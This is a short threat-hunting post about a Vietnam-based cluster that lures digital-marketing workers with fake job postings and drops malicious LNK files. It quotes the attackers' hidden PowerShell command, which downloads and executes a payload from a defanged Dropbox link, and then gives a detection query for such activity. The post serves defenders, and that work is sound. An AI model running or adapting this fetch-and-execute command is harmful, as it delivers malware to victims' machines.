298. Hunting for Abusing Dropbox for Malware Delivery

Hello everyone!

Let's look at another example of how financially motivated adversaries leverage legitimate web services to deliver malware.

A financially-motivated threat cluster (tracked as UNC6229) based in Vietnam is using fake job postings to target workers in digital advertising and marketing. 

The attackers post convincing job listings on legitimate job platforms and sometimes on domains they set up themselves.

The adversary leveraged malcious LNK files, which abused PowerShell to download a payload from Dropbox:

PowerShell -WindowStyle Hidden -Command "Iex (irm 'hxxps://xkc1ffaq1b.dl.dropboxusercontent[.]com/scl/fi/e/0?rlkey=5lf9n8l2v6xmqpmnmqltf3s38')"

For example, we can hunt for PowerShell having Dropbox-related domains among command line arguments:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: *dropboxusercontent*

See you tomorrow!

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